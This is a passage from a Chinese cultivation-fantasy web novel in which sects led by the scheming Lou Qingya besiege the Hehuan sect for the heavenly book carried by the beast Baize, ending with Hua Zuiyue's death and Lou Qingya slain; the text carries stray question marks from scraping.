花醉月面色骤然冷下,正想发火,花问宵和花厌已经走了过来。 花问宵先是看了娄危雪一会,然后又把目光落到沈清鸿和她?怀中抱着的沈青筠身上。 “没想到再次见?面,你们连孩子都?有了。” 沈青筠感受到花问宵的视线,瑟缩着往沈清鸿的怀中躲了躲。 “娘亲。” 见?状,沈清鸿顺了下沈青筠的毛发。 “别怕,娘亲在?。” 花问宵就在?旁边看着,殷红的薄唇向上翘起?,兴趣盎然。 当年?花问宵带着花醉月回合欢宗不?久,就传出了娄危雪自杀的消息,以及沈清鸿入魔带着娄危雪尸体逃跑的事情。 眼下堕魔的仙尊,带了个本来应该死的人,还出现?在?了合欢宗,这情况倒是有趣了。 “说吧,你们来这里是想要做什么。” 花问宵可不?觉得,销声?匿迹这么多年?的二人,会无缘无故现?身出现?在?这里。 娄危雪和沈清鸿在?来的路上已经商量好了,打算在?这里先落脚。 至于?娄青涯的事情,沈清鸿已经用天一宗的传讯方法,将消息传递给了李寻真,剩下的就等李寻真那边的回复了。 听?到花问宵的询问,娄危雪直言:“我们希望可以在?合欢宗留一段时间。” 花问宵眉梢挑起?,“合欢宗可不?是什么正儿八经的门派,你们要留在?我这里,理由?是什么?” 林中发生的事情,花厌也知道大?半,娄危雪便没瞒着,将娄青涯的事情全部说了出来。 而且娄青涯知道她?们同花厌来了这里,之后必然会想办法对合欢宗动手,让花问宵知道事情真相,也可方便届时应对。 花问宵听?后,面色没怎么变,倒是唇边笑意更深了。 她?幽幽看着沈清鸿,“那天书的第九卷 ,可真在?你身上?” 沈清鸿没有答话,眼神凛冽,如冰冷的刀子射向花问宵。 “别紧张,我只是问问。”花问宵收回视线,“天书九卷只有合并的时候才有用,如今剩下的八卷都?在?娄青涯身上,我就算得到第九卷 ,与我也无用。” 花问宵一开始听?娄危雪说天书九卷确实动了些?心思,不?过很快就打消了。 残缺的心法对于?任何一个人来说都?是相当致命的,更别提沈清鸿是白泽之身,若想从?她?的身上拿到第九卷 ,可不?容易。 花醉月一直在?旁边听?着,满脸愤然。 “我早说过,娄青涯就是个伪君子!”说着,她?上前?抓住娄危雪,“危雪,你娘亲应当还在?云霄门,你既已经知道娄青涯的真实面目,还是快点想办法把你娘亲给救出来为好。” 自从?花问宵将花醉月带回来之后,就没有再让花醉月离开合欢宗半步,此外花问宵为了防止花醉月逃跑,还给花醉月下了压制修为的药物。 花醉月在?合欢宗听?到的一切,也都?是花问宵想让她?听?的。 原本花问宵就讨厌云文君,在?她?回归合欢宗之后,更是不?许宗门内的人提起?云文君半个字,更别提关于?云文君的死讯了。 以至于?这么多年?过来,花醉月以为云文君还在?云霄门。 娄危雪听?后怔愣一瞬,看着花醉月满眼复杂。 “我娘亲她?……已经死了……” “你说什么!” 花醉月满脸恍然,像是听?到了什么不?可置信的事情一般。 已经发生的事情就是已经发生了,它不?会以人的意志而转移改变。 娄危雪见?此,再次重复一遍。 “我说我娘亲她?已经死了。” 随着她?话音的落下,娄危雪见?到花醉月的脸色肉眼可见?的白了下来,一口鲜血从?花醉月口中喷出,染红了她?的唇。 第59章 花问?宵的面色瞬间变了,她忙走到花醉月身边,伸手扶住她,满脸紧张。 “醉月!” “滚开!”花醉月一把挥开花问?宵,双目一片通红,“仙门大比上若不是你?从中横插一手,我?早就把文君给带回来了!文君又怎么可能会死!” 花问?宵被推开,看?着空荡荡的双手,缓慢收回,手指紧紧蜷缩在了一起。 “云文君早就该死了!”花问?宵的眼眸一点点的暗了下去,染上几分?阴狠偏执,“当初我?任合欢宗宗主,你?任长老从旁协助,你?我?感情深厚,合欢宗在我?们的管理?下蒸蒸日上,你?我?才是最该在一起的人!若不是云文君出现?,迷乱你?的心?神?,你?我?怎么会走到今天这一步!” “她有今天,全部是她自找的,明明得到了你?的心?,却不懂得珍惜,竟然和娄青涯结为伴侣,真是可笑至极!” 花醉月一掌拍向花问?宵,目眦欲裂。 “你?住口!” 她如今修为受到压制,这一掌对花问?宵造不成任何的威胁。 花问?宵抬手一把握住花醉月纤细的手腕,花醉月恼怒不已,眸中的火光几乎要将花问?宵整个人焚烧殆尽一般。 “放手!” 花问?宵没有放,非但如此,还?加紧了力道。 “醉月!云文君这样的人死了就死了,有什么好让你?留恋的,你?要看?清楚!我?才是能够站在你?身边的那?个人!” “做梦!”花醉月回怼的毫不客气,她仰头迎上花问?宵的眸光,不躲不闪,“你?永远都比不了文君。” 花问?宵面色紧紧绷着,薄唇抿成一条直线。 两人的视线交汇,谁都不肯退让一步。 良久之后,还?是花问?宵先放了手。 她冷脸朝旁边吩咐:“花厌,带她回去。” “是。” 与此同时,娄青涯回到云霄门,单凭他?一人,想?要对合欢宗动手恐怕有些困难,但若是召?*?集到所有仙家门派,那?就不一样了。 他?立刻回房书写信件,邀请其他?仙家门派来云霄门齐聚,说是发现?白泽现?世,还?找到了飞升的办法。 修仙之人,哪个不对飞升成仙有想?法。 娄青涯抛出的诱惑过于诱人,不过一日的功夫,云霄门便陆续来了不少的门派。 李寻真同样收到邀请,来了云霄门,但是与其他?并不知?情的人相比,他?早就从沈清鸿那?里收到的讯息,上面详细的写了在林中发生的事情,以及她们的去向。 同娄青涯相比,李寻真自然是相信沈清鸿,哪怕沈清鸿已经堕魔,但是依旧是他?的师侄。 而且当初仙门大比上,云文君的行?为颇为诡异,叫人不得不多想?。 之后云文君病重身亡,更是叫李寻真加深了疑惑。 这几年?间,李寻真也有调查过娄青涯,可是娄青涯隐藏的很深,李寻真虽然发现?了一些可疑的地?方,但是并没能找到什么实质性的证据。 他?如今应邀而来,也不过是想?要打算看?看?娄青涯究竟想?要做什么。 飞升的诱惑太大了,又过了两日,云霄门来了不少的宗门,声势浩大,简直堪比当初仙门大比。 议事堂中,各个门派或是掌门或是长老全部齐聚于此。 娄青涯站在最上面的高位,想?着众人拱手。 “感谢诸位相信娄某,愿意给娄某这个面子。” 有性子急的人,不想?听娄青涯在这里说场面话,大嗓门的嚷嚷着:“客气话就别说了,娄宗主,这仙门百万年?来可从未有人飞升成功,你?在信中说找到了飞升之法,可是真的?” 娄青涯满面严肃,“自然是真的,娄某可不会在这种事情上开玩笑。” 他?说着,抛出一枚铜镜。 “诸位请看?。” 众人闻言,纷纷看?向铜镜,只见铜镜发出一阵光亮,镜面如水般荡漾开来,有画面出现?。 那?里不知?道是什么地?方,处处都是崩塌的建筑,但是看?建筑上的花纹,精美无比,远超当世技术。 众人的视角随着镜子主人的步履而移动,未过多久,前方出现?一断长长的道路,道路两旁是墙壁。 镜子移动,将墙壁上的内容全部给记录了下来,众人也将壁画上的内容给看?了个一清二?楚。 上面画了白泽守天门的事情,除此之外还?提到了飞升所需要的天书九卷。 在场之人无不讶异激动,“白泽守天门,天书唤天门,只有通过天门才能得到天地法则承认,原来这就是我们这么多年没有人能飞升的原因?!” 有人向娄青涯致谢,“多亏了娄掌门,否则我?们还?被蒙在鼓里,不知飞升失败的原因!” “是啊,是啊,娄掌门真是高义,若非娄掌门把这留影镜放出来,我?们恐怕至今都不会知?道飞升的条件。” …… 场上众人,对娄青涯轮番称赞,娄青涯面上含笑,朝众人点头示意。 “诸位言重了,娄某只是恰好得了机缘比诸位知?道的多了一些而已。” 这大厅中聚集的全是各个门派的重要人物,有人见人多,动了些心?思。 “如今能够知?道飞升的要求已经很好了,眼下大家都在,不知?道可有人有关于白泽和天书的线索?” 闻言娄青涯收回留影镜,向众人道:“实际上,我?召集诸位过来,除了给诸位看?这些,还?因?白泽已经现?世。” 有人听出娄青涯话中的意思,惊喜不已。 “娄宗主这么说,可是知?道了白泽的下落?” “当然。” 此言一出,场内顿时如一锅水,全部沸腾起来,众人脸上是掩藏不住的欣喜,只有李寻真面色不改,静静地?听着。 有人迫不及待的追问?:“白泽在哪!” 娄青涯眼睛微眯,一字一字的说道:“合欢宗。” 合欢宗这几年?虽然沉寂不少,但她们以前得罪了不少的人,加上她们是以双修功法为基础提升的境界,这些个自诩名?门正派的人,对此最为不耻。 一个满脸胡子的男子,沉下脸,一脸愤然。 “合欢宗修炼邪法,绝对不能让她们借助白泽飞升!” 另一个满头白发的老者,眼神?冰冷,“没错!若是叫她们成了仙,这天下还?不知?道将会发生多少劫难,不知?道有多少人要被合欢宗祸害!” 在他?旁边,有一个模样看?起来三十多岁的女子,闻言出声道:“合欢宗的圣山曾是仙家灵山,她们私自占据灵山,已有多年?,眼下合欢宗存在的已经够久了,既然大家都在,不如我?等联手,灭了合欢宗,还?世道清明!” 在场的人境界不低,耳力都很好,全部都听到了女子说的这句话,顿时心?中一动。 合欢宗圣山的来历在许多门派古籍中都曾有过记载,不是没人想?过将圣山从合欢宗手中夺回,只不过合欢宗占据圣山得了不少的好处,底下门人又手段阴狠,并不好攻打。 加之若是举一门派之力攻打合欢宗,这个门派哪怕击败合欢宗,也定然元气打伤, 况且正派之人,没有合适的理?由,为了面子不可能私自占据灵山。 是以正道中诸多门派谁都不愿干这般吃力不讨好的事情,所以谁都没有动手,这才让合欢宗存活了下来。 可眼下的情况就不一样了,若是所有人联手,伤亡将会大大减消,不但能重新将圣山从合欢宗的手中收回,还?可以夺回白泽。 “灭了合欢宗!灭了合欢宗!” 人群中不知?是谁开始喊起了口号,越来越多的人加入进去,群情激奋,纷纷叫嚷着要消灭合欢宗。 娄青涯唇边带着笑意,背脊挺直,没有加入到喊声中,依旧是那?副温润的君子模样。 李寄春此次跟随师门的人,也过来了,她是知?道沈清鸿白泽身份的人。 看?着场上一个个失去往日维持的平静体面,激动的面红耳赤的人,不禁在心?中为沈清鸿担忧。 李寻真就站在娄青涯的不远处,他?看?着厅中情况,叹了口气。 这些人的情绪已经被点燃了,这个时候除非他?能拿出什么对娄青涯不利的确凿证据,否则无论说什么,都不能劝回这些人。 娄青涯双手背在身后,静静等着众人收了声,这才开口。 “合欢宗作恶多端,手段下作,为人不耻,诸位今日能在云霄门齐聚,也算是个机会,不如两日后,我?们前去合欢宗,一起灭了合欢宗!” “好!我?万灵宗愿跟随娄宗主!” “我?御兽门也愿跟随娄宗主!” “无水宗同样!” …… 一个又一个的门派,报着自己的门派名?表示愿意加入。 李寄春的宗门主要是医修,她是跟她师尊来的,她师尊没有应声,同样没有出声的,还?有李寻真。 之后娄青涯又说了一些调查到的关于合欢宗的情报,和众人商定了一些关于攻打合欢宗的细节,直到很晚众人才散去。 时间眨眼间过去,两日匆匆而过。 云霄门的山下,各个门派已经整装完毕,众人齐聚。 娄青涯站在宗门的飞舟上,抬手朗声:“出发!” 一声令下,他?身下的飞舟行?动起来,身后诸多门派紧随而上,全部向着合欢宗的地?方飞去。 第60章 哪怕众人都已经乘上可日行千里的飞舟,但是合欢宗距离云霄门太?远,在众人各种术法加持的情况下,等她们到达合欢宗时,已是两天之后。 合欢宗的山脚下,各路宗门齐聚一堂,众修士来势汹汹。 娄青涯站在最前放,抬臂高呼:“诸位!沈清鸿就是白泽,天书九卷就在她的身上,现?如今她就在这合欢宗之内,还请诸位随我?一同攻进去!” 此言一出,众人纷纷应和。 他们此次过来本就是为了围剿合欢宗,此时已经到达合欢宗,便不?必留手,向着合欢宗内攻去。 这些人实在是太?多了,合欢宗的弟子双拳难第四手,见情况不?妙,立刻让人前去通报花问?宵。 “宗主不?好了!出事?了!宗门下面来了好多人,此刻他们已经攻上来了!” 沈清鸿和娄危雪两人就在旁边,听到之后早有预料。 “是娄青涯他们。” 当初娄青涯召集众宗门要攻打合欢宗的时候,李寻真就给沈清鸿传了讯息,将这件事?告诉给了沈清鸿,对此她们早有准备。 花醉月冷这个脸,眼中满是仇恨。 “来的好!今日我?必杀娄青涯为文君报仇!” 花问?宵从座椅上起身,“走吧。” 一众人离开?石厅,向着发生动乱的地方走去。 未多时,便见到那些提剑攻上来的宗门,而娄青涯就走在最前方。 眼见着又一个合欢宗的弟子要被人斩于剑下,花问?宵眼睛微眯,将手中扇子掷出。 扇面锋刃,将长剑击飞后在空中回旋,从那人的脖颈间滑过,一条血线绽开?,杀人者反而被杀,扇子又重新回到花问?宵的手中。 花问?宵一行人实在是太?过显眼,娄青涯一眼便看到了她们。 “花问?宵,花醉月!你们合欢宗作恶多端,这些年为了双修祸害了不?少!如今我?和诸位同修就要替天行道,除了你这祸害!” “还有你,沈清鸿!你乃白泽神兽,竟识人不?清、心?智不?坚竟堕落成魔,实在是可恨!不?过念在你是白泽的份上,你若是能教出天书,我?还可保你全尸。” 娄青涯穿着一身淡绿色的衣袍,衣摆被风吹起在空中飘动,脊背笔直,手持长剑满脸肃穆,看上去一副大义凛然?的模样。 若不?是早就知道娄青涯的真面目,任谁都会?被他这样的姿态给骗过去。 沈清鸿听罢嗤笑一声,“说的那么冠冕堂皇,不?还是想要我?手中的天书 第九卷 。” 有人性子急,不?过几句话的功夫,就已经有些等不?急了。 “娄宗主,不?要和她说那么多废话,我?们这里这么多人,她既不?给,我?们夺来便是。” “是啊,天书九卷这样的东西,怎可留在一个入魔的人身上!” “灭了合欢宗!拿回天书九卷!” …… 花问?宵拿着扇子,轻轻敲打着自己的掌心?,嫣红的嘴角上翘,却满是嘲讽。 “好一个名?门正?道,我?看你们还不?如我?合欢宗的人,至少我?们会?承认自己做的事?情,但是你们……”花问?宵顿了一下,冷哼一声,“一个个嘴上说的漂亮,不?还是要抢人东西,杀人夺宝!” 有人被戳中痛点恼羞成怒,“一派胡言!天书九卷可召唤天门,若是让你们这些心?术不?正?的人将天门召唤出来入门登仙,届时必将生灵涂炭,我?们这是为天下众生考虑!” “不?要同她们废话了,大家?一起上!” 话音落下,就有人提剑冲了上去。 天一宗的人也来了,在之前李寻真便已经和她们说了关于娄青涯的事?情,也说到了来合欢宗的凶险,但是天一宗的弟子,还是义无反顾的来了。 在攻上合欢宗之前,她们一直隐匿在人群之中,并未动手,直到此刻,见到有人对沈清鸿动手,这才露出真实立场,纷纷挡在了沈清鸿的身前。 “大师姐,我?们来帮你!” 沈清鸿看着这些师妹师弟们,微微一怔。 “我?入魔了,你们不?怕我?怕吗?” 天一宗的人纷纷摇头?,“哪怕入魔,你也是我?们的大师姐!” 沈清鸿在宗门内虽然?总是孤身一人,看着高不?可攀,但是对她的这些师弟师妹们都是极好的,遇到危险总是冲在最前面,会?帮修为没到不?能下山的弟子带喜欢的东西,会?指导她们剑术法术。 那些下山历练的弟子最喜欢跟着沈清鸿一起,沈清鸿的存在让她们感?到心?安。 她们是打心?眼里的敬仰沈清鸿,以前是沈清鸿保护她们,现在该她们站出来保护沈清鸿了。 “清鸿她虽然?已经入魔,但是她从未做过伤天害理的事?情!你们莫要在执迷不悟!” 李寻真不?知道什么时候,走到了沈清鸿旁边,看着一众被飞升之事迷了心窍的人,眉头?紧紧皱起。 “那天书本就是清鸿的东西,她是白泽,天书九卷是当初我?的师兄捡到她时在她身上发现的,只是因为清鸿年纪小,这才收了八卷走,只把最重要的第九卷 留在了清鸿的身上。” “原本我?师兄是打算等清鸿继任了天一宗宗主之位后,再把天书交给她,谁知我?师兄竟在去往云霄门的途中,惨遭娄青涯的毒手!娄青涯如今号召你们过来攻打合欢宗,只是为了利用你们!满足他的一己私欲,你们莫要在被骗了!” 天一宗乃是宗门之首,李寻真为天一宗的宗主,说出来的话自是颇有份量。 有人询问?:“娄宗主,他说的可是真的?” 感?受到众人投来的质疑视线,娄青涯面色不?改。 “诸位你们都知道,当初沈清鸿师尊的尸体上残留的是合欢宗的心?法,怎么可能是我?杀的,况且,李宗主这么说,可是有什么证据。” 李寻真沉默几秒,叹了口气。 “我?没有证据,但我?所言句句属实。” “李宗主,我?知道沈清鸿是你的师侄,但是你为了她而诬陷我?,实是不?该。” 李寻真没想到娄青涯竟然?转头?就给自己泼了盘脏水,眉头?皱的更?紧了。 “我?……” 他张口想要反驳,却被娄青涯给直接打断。 “诸位,如今我?们已经来了这里,天书就在沈清鸿身上,拿到天书我?们就可以开?天门飞升,你们难道要在这个时候放弃吗?” 在场当然?也有聪明?的人,察觉出娄青涯的不?对,但是刚刚李寻真说,天书最重要的第九卷 留在了清鸿身上。 娄青涯能够召集他们来攻打合欢宗,必是同这最后一卷有关系,届时只要拿到这一卷,当着这么多人的面,不?怕娄青涯不?把前八卷拿出。 “娄宗主说的对,飞升的机会?就在眼前,大家?上啊!” 飞升这两个字的诱惑力太?大了,众人原本冷静下来的血液再次被点燃,纷纷祭出武器,攻击向周围的敌人。 娄青涯担忧再出岔子,不?再说话,直接攻向沈清鸿。 剑影乍现?,纷沓而来,娄青涯本人跟着剑影一同袭去。 不?过他的剑还没有碰到沈清鸿,就在半路被人拦截。 李寻真代替沈清鸿接下了娄青涯的攻击,此外?花醉月也已经摆脱了身边纠缠着的敌人,第一时间刺向娄青涯。 “娄青涯!我?要你死!” 娄危雪警惕的守在沈清鸿身边,和天一宗的人一起档下道道攻击。 娄青涯被李寻真、花醉月和花问?宵给缠住,一时竟分?不?出身来对沈清鸿动手。 沈清鸿见状二话不?说,直接变身白泽,巨大的身形出现?在众人视线当中。 有人认出沈清鸿变换出来的模样,同以前看到的关于白泽的记载一模一样。 众人虽早就从娄青涯口中得知沈清鸿的白泽身份,但是真正?看见白泽显形之后依旧无法冷静。 “白泽!真的是白泽!” “娄宗主果然?没有骗我?们,白泽现?世,飞升之路就在眼前!” “大家?冲啊!” …… 众人情绪高涨,沈清鸿仿佛没看见一般,她仰头?向着天空发出嚎叫。 白泽可号令百兽,圣山距离此处不?远,山中异兽众多,又境界颇高,当初沈清鸿还不?知道自己这个能力时,可没少在里面受苦。 原本和李寻真等人缠斗在一起的娄青涯见状,面色骤变,他是领会?过沈清鸿的这个本事?,自然?知道沈清鸿这么做的目的。 他急忙高声喊道:“快制止她!她是白泽,可以号令百兽!” 闻言众人面色一变,加大了攻击的力度,可是他们被合欢宗的人纠缠,沈清鸿身边又有人保护,一时之间竟拿沈清鸿没有任何办法,只能看着她仰头?嚎叫,直至停下。 未多时,众人见到远处尘烟四起,远处传来的动静,影响到了这里,地动山摇,叫人几乎要站立不?住。 不?少修为低些的,直接稳不?住身形,被震的倒地不?起。 合欢宗早先就知道会?有人来攻打合欢宗,对此早就有所准备,身上纷纷贴着能够让她们在晃动中保持稳定的符咒。 趁着宗门中人受到影响的时候,合欢宗的弟子攻击的越发猛烈,将这道由诸多宗门组成的人海,撕出了一个又一个的口子,分?割出了好几块。 60-64 第61章 场面乱了起来,各个来攻打合欢宗的宗门门派被分开,合欢宗的弟子趁机列阵,在混乱当中,竟还真的压制住了这些来攻打她们的敌人。 有些修为低下,心智不坚的人,在慌乱之下,甚至在由合欢宗弟子组成的阵法中送了命。 情势向着对合欢宗有利的方向走去,娄青涯那?边被人缠着,见到这般,脸色难看?极了。 花问宵弯唇一笑,话语里满是嘲讽。 “娄青涯,你?叫过来的人似乎不怎么样。” 娄青涯闻言,面色更?难看?了。 真是一群蠢货,他召集这么多门派过来,可不是看?他们在这里犯蠢的! 躲过了一道攻击后,娄青涯朗声大喊:“大家不要乱,稳住心神,莫要让合欢宗的人趁机而?入!” 不知道是哪个门派的掌门,也在此刻出声。 “你?们一个人打不过,就跟身边的人一起进?攻,两个人还打不过,那?就再加人,我们人多,合欢宗的人少,你?们难道还怕打不过他们吗!” “上啊,飞升的路就在眼前,推平合欢宗!” 原本受地?动影响的人,在这几句话中,渐渐稳住心神,跟着旁边的人一起攻击合欢宗的弟子。 哪怕合欢宗弟子结的阵法再精妙,但是宗门人数众多,只要列阵的合欢宗弟子死亡,阵法便会出现破绽,随后很快便会被破解。 情势顿时逆转,不过好在拖了这么长?时间,沈清鸿召唤的异兽群来了。 滚滚尘烟席卷而?来,伴随着的还有各种异兽的咆哮声,一只又一只只在记载中出现过的异兽,从尘烟中显露身形。 有兽状如牛,猬毛,音如嗥狗,先一步踏了出来。 有人指着这只模样怪异的凶兽,一脸震惊,嗓音中带着几丝的害怕。 “你?们看?!那?是什么!” 有认出来的人,满脸崩溃,“是穷奇!这可是上古凶兽!” 紧接着第?二只异兽也显现了身形,被人给认出。 “这是狰!” “还有长?右!” …… 一只又一只异兽的名字伴随着颤抖的惊呼被喊出,这些异兽无一例外都不是寻常时候可以?随便遇到的。 当然也有异兽没被认出,但是这些宗门修士可不会觉得没被认出来的异兽会简单。 有人崩溃大喊,“怎么会有这么多的异兽被白泽叫来!” 这些异兽都是来自圣山禁地?,是连合欢宗的人都不敢踏足的地?方,可见其危险。 沈清鸿见到它们过来了,张嘴嚎叫一声,异兽听罢嚎叫回应,然后加入战斗,向着各个宗门的人群冲去。 这些异兽不知道在圣山里修炼了多久,哪怕是境界最低的异兽,都达到了出窍境。 更?何况异兽的出窍可同?人类修士不一样,异兽的出窍甚至可以?越级击杀人类修士。 各个宗门好不容易稳定下来的局面,再次被搅乱。 异兽本身的身体?便已经足够强悍,加上修为境界,人类修士完全不是异兽的对手。 场上刀光剑影,血花四溅。 有人被异兽扑倒,看?着近在咫尺的獠牙,满脸惊恐。 “救命啊!我不要天书九卷了,不要了!放过我吧,不要吃我!” 与此类似的场景,在场内上演着。 不过今日来了不少门派的宗主?和长?老,他们境界高强,联手之下倒也能同?异兽周旋一二。 场上纷乱无比,不少人寄出了法器宝物,光芒大作,时不时就能听到哀嚎和惨叫声。 “娄青涯!我要杀了你?,为文君报仇!” 花醉月的眼中血丝遍布,她在和娄青涯交手的过程中受了不少伤,可她依旧不管不顾,不知退却的杀向娄青涯,一双眸子亮的可怕。 李寻真在旁边协助,道道剑影化为密不透风的剑墙抵挡着来自娄青涯的攻击。 娄危雪和沈清鸿也一起袭击了上去,娄青涯被这些个人纠缠在一起,情况同?样不妙。 双拳难敌四手,更?何况花醉月她们的境界本就不低。 原本娄青涯想着,合欢宗不过只是小小一宗,哪怕沈清鸿可以?召唤百兽,可他召集了众宗门过来,拿下合欢宗也将易如反掌。 可谁知这些宗门这么不顶用,而?被召唤过来的异兽,又各个境界高强。 这次是他大意了,但是眼下已经走到这一步,便只能倾尽全力?。 他娄青涯隐忍了这么多年,为的就是飞升!这飞升的天门,他一定会走进?去! 娄青涯周遭气势陡然一变,他抬起手来,各类宝物被他召出。 当了宗主?这么多年,他手中的好东西可不少。 一道乾坤钟被他抛出,逐渐变大,将花醉月困在了里面,一盘玲珑棋又将李寻真给锁在了方寸之地?…… 周遭压力?骤减,娄青涯二话不说,直接攻向沈清鸿。 “天书就在沈清鸿身上!大家随我上!” 有暂时能够抽开身的人,跟着一起袭击沈清鸿。 沈清鸿被人给团团围住,她是战斗的中心,所有人都想从沈清鸿身上夺得天书九卷。 “谁都不许伤害我们的大师姐!” 天一宗的人义无反顾的挡在沈清鸿面前,哪怕她们已经伤痕累累。 沈清鸿看?着自己之前护着的师弟师妹们,如今在她面前被伤害,眸中的光一点点冷了下来。 她重新变回人形,均湘剑被她握在手中。 均湘剑不似以?往,剑身全部都沾染了魔气,泛着红光,而?原本青色的莲花剑柄,被染成黑色。 娄青涯趁着沈清鸿变身的空挡,已经袭击过来。 娄危雪见到那?寒芒四射的一剑朝沈清鸿胸口刺去,浑身的血液都翻滚起来。 “清鸿仙尊,小心!” 她一步挡在沈清鸿身前,举剑挡住攻击。 娄青涯的剑和娄危雪的剑,剑身相对,迸发出激烈的火花,娄危雪脚步未动,但是人却在娄青涯的力?道下往后滑去。 娄青涯灵力?磅礴,剑气迸发,娄危雪咬紧牙关,额头上冷汗直冒,拼命的想要挡下这道攻击。 可是她根本就不是娄青涯的对手,剑气爆开,娄危雪被击退出去。 “危雪!”沈清鸿接住被击退的娄危雪满眼紧张。 “我没事。” 娄危雪赶忙安抚,这个时候她可不想叫沈清鸿还为她的分神。 娄青涯才不会给两人喘息的机会,看?准时机攻了上来,随之而?来的还有另一个门派宗主?的攻击。 眼下不是说话时机,两人对视一眼,齐齐迎上攻击。 随着时间的推移,场上的人少了许多,地?上倒着的,有合欢宗的弟子、有各个门派的修士,也有被沈清鸿召唤而?来的异兽。 原本洁净的地?面,被红色浸染,血流成河。 沈清鸿双瞳泛红,受血气影响,周遭魔气更?盛,黑色的魔气几乎要将她整个人给笼罩起来。 娄青涯已经没了刚来时的从容模样,身上的衣服被剑气分割,划破出一个个带血的口子。 他发髻散乱,束发的玉冠不知道什么时候被打破,头发散乱的披在身后,脸颊上多了道血痕。 战斗这么久,娄青涯哪里还能维持得住之前的君子模样,他的本性开始露出端倪,面目狰狞。 “沈清鸿,你?看?看?!因为你?,这里死了多少的人!” 娄危雪喘着粗气,撑剑站在一旁。 “少血口喷人,若不是你?贪图天书九卷,召集宗门过来攻打合欢宗,又怎么会有这一幕!” 娄青涯披散着头发,面上神色状若癫狂。 “天下百万年来无人登仙,我这是在帮他们!试问他们若不是同?样需要天书九卷,怎会跟我来此!” 沈清鸿瞳仁似血,“一派胡言!他们本不该知道天书九卷的事情,明明是你?放大了他们的心底的欲/望!” 娄青涯可不是为了听沈清鸿的指责,他想要的至始至终就只有那?一个。 “沈清鸿,不要再执迷不悟了!交出天书九卷,你?还可以?终止这场战斗。” “不可能!” 沈清鸿明白事情发展到这个地?步,已经不是交出天书就能解决的了。 娄青涯心术不正,而?且已经修炼了前八卷天书,若是连这最后一卷都被他拿走,后果不堪设想。 被拒绝的娄青涯眼神阴鸷无比,“既然你?不给,那?我只能来抢了!” 两人重新斗在了一起。 娄青涯在战斗中被消耗了不少灵气,加之一直和沈清鸿斗在一起,没注意先前关押花醉月的乾坤钟不知什么时候已经破碎。 花醉月满身是血,撑着剑,差点没站住,看?她这样子,想必是在乾坤钟里经历了一番苦战。 不过在出来的第?一时间,花醉月就锁定了娄青涯的身影,义无反顾的袭向娄青涯。 娄青涯感受到身后的攻击,挥剑还击。 花醉月眼下的情况太差,没能躲过去,长?剑刺入她的胸口,穿胸而?过,她哇的吐出一大口鲜血,眼前阵阵发黑。 花醉月心中明白,她已是强弩之末,但是她不甘心,她还没有为文君报仇!没有看?到娄青涯死去,她又怎么能死呢! 时间在这一刻变得漫长?,花醉月能够感受到长?剑在一点点的从心口抽离,带着钝痛。 在长?剑快要抽离之时,花醉月猛然抬头,伸手握住娄青涯的胳膊,她看?向娄青涯的身后,眼中是飞蛾扑火的决然。 哪怕是死,她也要拖着娄青涯一起! 沈清鸿就在娄青涯的身后,直接看?懂了花醉月的意思。 没有浪费花醉月为她创造的时间,沈清鸿抿唇,手中均湘剑绽放出夺目的红光,一朵血色莲花于虚空之中行成。 她调动起全身剩余的所有魔力?,刺向娄青涯。 此一击不成功便成仁! 娄青涯面色大变,用另一只手拍向花醉月的胸口,想要挣脱出来。 花醉月受创再次吐出一口鲜血,手上力?道没有半分放松。 她扬起被血染湿的红唇,“娄青涯!跟我一起死吧!” 话音落下,身后沈清鸿长?剑已到,娄青涯运气抵挡,拦下了沈清鸿剑刃的去势。 场面陷入焦灼,娄青涯的额头漫漫渗出汗水。 “该死!放手!” 他拼了命的想要摆脱花醉月,但花醉月咬死不放手。 不过花醉月受到致命伤,状态不好,哪怕她再想困死娄青涯,体?力?也逐渐不支。 娄危雪解决掉身边的一个敌人,见状立刻走到沈清鸿身边,抬手输送灵力?。 沈清鸿的剑,又进?一寸。 李寻真此时也从棋盘天地?中脱身,见到眼前一幕,二话不说站到沈清鸿身后,为她助力?。 剑刃一点点的逼向娄青涯,哪怕娄青涯已经运用所有灵力?抵挡,依旧挡不住剑的攻势。 他能听到身后凝结的防御在破碎,瞳孔中满是惊慌害怕。 最终,长?剑还是破开娄青涯的防御,穿过娄青涯的胸膛,搅碎了他的心脏。 一击毙命。 第62章 娄青涯的身体重重摔在地上,血液从他体内涌出?,染红了他的青衣。 他眼睛大睁着,白色的眼球上爬满血丝,虬结错乱,里面满是不甘和面对死亡的惊慌害怕。 花醉月本就身受重伤,拖延了娄青涯那么久,早已是强弩之末。 鲜血大口大口的从她的嘴里吐出?,染红了她的唇瓣,可她却扬唇笑得妖娆明艳。 “文君……咳咳咳,我终于……替你报仇了……” 她的身体无力支撑,慢慢倒下。 花问宵刚摆脱周围的纠缠,就看到这一幕,目眦欲裂。 “醉月!” 她周身灵气暴涨,挥扇击退又要缠上来的人?,身形一闪,向着花醉月奔去。 但她终究是慢了一步,花醉月在她的面前缓缓倒下,摔在地上。 花问宵心脏如?同被无数个刀片分裂,心痛的无以复加。 她蹲下身,将花醉月抱入怀中,抬手灵力不要钱的向着花醉月的身体涌去,试图用灵力帮助花醉月稳定她身体的情况。 但是花醉月的身体如?同一个漏网,根本就容不下花问宵的灵力。 “没事?的,会没事?的,醉月你坚持住。” 花问宵眼眶通红,伸手不断地擦拭着花醉月口中的鲜血,却怎么都擦不干净,血水不断地从花醉月的口中漫出?,染红花问宵的手掌。 花醉月根本感受不到花问宵的存在,她眼神空茫,仰头看着虚空。 恍惚间,花醉月似乎看到,有一个温柔爱笑的女子走了过来,弯下身体对着她伸出?手掌。 是…… “文君……” 文君来接她了。 花醉月嘴角扬起,抬手坚定的抓住云文君递来的手掌,闭上眼睛,再未睁开。 “醉月!”花问宵摇晃着花醉月,声音颤抖,“醉月你醒醒啊,你不要睡。” “我知道?错了,我不会再关着你了,你睁开眼看看我好不好……” 她的嗓音带着哭腔,但是无论她如?何喊叫,花醉月都没有给她半分的回应。 当初花醉月第一次外出?游历,被正道?的人?追至悬崖摔落,她没能抓住醉月,是云文君捡到了受伤的花醉月,将?*?人?治疗。 而?现在她又没有抓住醉月,只能眼睁睁的看着花醉月离去。 一步慢,步步慢。 她每次都会慢上那么一点,就是那么一点点,却宛如?一道?天堑横亘在花醉月和她之间,办法用尽,始终都无法跨过。 花问宵的眼中渐渐没了光彩,花醉月死了,周遭的一切对她都没了意义?。 她的头发从头顶的发根开始,逐渐变白,往着发梢蔓延而?去,眨眼的功夫,一头青丝,变成满头华发。 雪白的颜色如?同冬日?的雪花,被一动冻住的还有花问宵的心。 